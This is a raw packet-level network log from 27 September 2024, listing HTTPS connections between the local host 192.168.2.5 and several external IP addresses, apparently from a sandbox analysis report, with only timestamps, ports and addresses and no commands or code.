Sep 27, 2024 05:51:03.851540089 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:03.891752958 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:03.893894911 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:03.893934011 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:03.952781916 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:04.001463890 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.001530886 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.001554966 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.001599073 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.001616001 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.001647949 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.001699924 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.001739979 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.001739979 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.001771927 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.003235102 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.003274918 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.003357887 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.003365993 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.003424883 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.006470919 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.006503105 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.006843090 CEST	49903	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.006920099 CEST	443	49903	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.007030964 CEST	49903	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.008738995 CEST	49903	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.008766890 CEST	443	49903	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017560959 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017585039 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.017623901 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017646074 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017646074 CEST	443	49904	98.98.25.17	192.168.2.5
Sep 27, 2024 05:51:04.017667055 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017705917 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.017708063 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017726898 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017745018 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.017755985 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.017793894 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.017817974 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.018945932 CEST	49904	443	192.168.2.5	98.98.25.17
Sep 27, 2024 05:51:04.018976927 CEST	443	49904	98.98.25.17	192.168.2.5
Sep 27, 2024 05:51:04.032006979 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.032349110 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.032392025 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.033545017 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.033905029 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.034048080 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.034059048 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.034085989 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.084255934 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.084290028 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.084346056 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.084357023 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.084413052 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.085846901 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.085870981 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.085921049 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.085927010 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.085983038 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.086853981 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.093570948 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.093591928 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.093606949 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.093662977 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.093687057 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.093738079 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.100733042 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.100805044 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.100826979 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.100848913 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.100868940 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.100929022 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.101665974 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.101692915 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.102112055 CEST	49905	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.102166891 CEST	443	49905	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.102252007 CEST	49905	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.103634119 CEST	49905	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.103651047 CEST	443	49905	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.160259008 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:04.160331964 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:04.160413027 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:04.160751104 CEST	49906	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:51:04.160797119 CEST	443	49906	148.153.240.75	192.168.2.5
Sep 27, 2024 05:51:04.170738935 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.170772076 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.170835018 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.170850992 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.170902014 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.170931101 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.171812057 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.171832085 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.171876907 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.171890020 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.171922922 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.171947002 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.172981024 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173007965 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173015118 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173027992 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173034906 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173041105 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173058987 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.173077106 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173118114 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.173142910 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.173243046 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173269987 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173321009 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.173333883 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.173578024 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.174365044 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.174382925 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.174477100 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.174489021 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.174546003 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.177468061 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.177534103 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.177548885 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.177603006 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.177756071 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.177783966 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.177795887 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.177833080 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.178282976 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.178386927 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.178488970 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.179066896 CEST	49907	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.179101944 CEST	443	49907	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.208761930 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.208792925 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.208811045 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.208878994 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.208904028 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.208951950 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.210520029 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.210542917 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.210609913 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.210617065 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.210644960 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.210993052 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.211049080 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.211055040 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.211069107 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.211088896 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.211133003 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.213224888 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.213234901 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.215253115 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.215270042 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.215277910 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.215287924 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.215316057 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.215348005 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.215373993 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.215439081 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.216449976 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.216492891 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.216519117 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.216520071 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.216564894 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.220397949 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.220421076 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.228463888 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.229738951 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.229804993 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.230501890 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.231501102 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.231616974 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.231739044 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.232791901 CEST	49908	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.232837915 CEST	443	49908	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.232919931 CEST	49908	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.233242989 CEST	49908	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:04.233258009 CEST	443	49908	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:04.255848885 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.255944014 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.256004095 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.256038904 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.256072044 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.256095886 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.259704113 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.259749889 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.259789944 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.259819031 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.259838104 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.259859085 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.260217905 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.260274887 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.260320902 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.260385990 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.260421038 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.264514923 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.264959097 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:04.265145063 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:04.267952919 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:04.268613100 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.268634081 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.268696070 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.268706083 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.268752098 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.279402971 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.282267094 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.282289028 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.282365084 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.282376051 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.282429934 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.293862104 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.293931007 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.293956041 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.293962002 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.294008970 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.307694912 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.307712078 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.307801962 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.307810068 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.307857990 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.319648981 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.319686890 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.319726944 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.319736958 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.319782972 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.319796085 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.319967985 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.322103024 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:04.327977896 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:04.328013897 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:04.328547001 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:04.329787016 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:04.329880953 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:04.330060959 CEST	49900	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:04.330847025 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:04.330893993 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:04.334167004 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.334196091 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.355813026 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.355860949 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.355902910 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.355927944 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.355966091 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.355994940 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.356957912 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.357024908 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.357033014 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.357053995 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.357085943 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.357125998 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.358207941 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.358247042 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.358298063 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.358311892 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.358349085 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.358376026 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.365504026 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.365544081 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.365597963 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.365622997 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.365670919 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.371422052 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:04.392412901 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.393126965 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.393157959 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.393461943 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.393531084 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.394078970 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.394131899 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.394706011 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.394751072 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.395042896 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.395050049 CEST	443	49896	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.448519945 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.448549986 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.448632956 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.448638916 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.448693991 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.448693991 CEST	49896	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.456703901 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.456744909 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.497066975 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:04.498800993 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:04.498823881 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:04.499124050 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:04.499639034 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:04.499691010 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:04.499864101 CEST	49866	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:51:04.501279116 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.501307964 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.501382113 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.501396894 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.501446009 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.502428055 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.502444983 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.502499104 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.502505064 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.502547979 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.517765999 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.517797947 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.517837048 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.517853975 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.517911911 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.520764112 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.521228075 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.521255016 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.521532059 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.522139072 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.522180080 CEST	443	49897	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.522483110 CEST	49897	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.529851913 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.529892921 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.529942989 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.529973984 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.530018091 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.530045986 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.542619944 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.542638063 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.542726994 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.542759895 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.542802095 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.547399044 CEST	443	49866	118.123.207.191	192.168.2.5
Sep 27, 2024 05:51:04.555089951 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.555141926 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.555193901 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.555227995 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.555252075 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.555279016 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.559902906 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.559951067 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.559988976 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.560012102 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:04.560058117 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:04.561487913 CEST	443	49900	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:04.561580896 CEST	443	49900	50.3.213.5	192.168.2.5
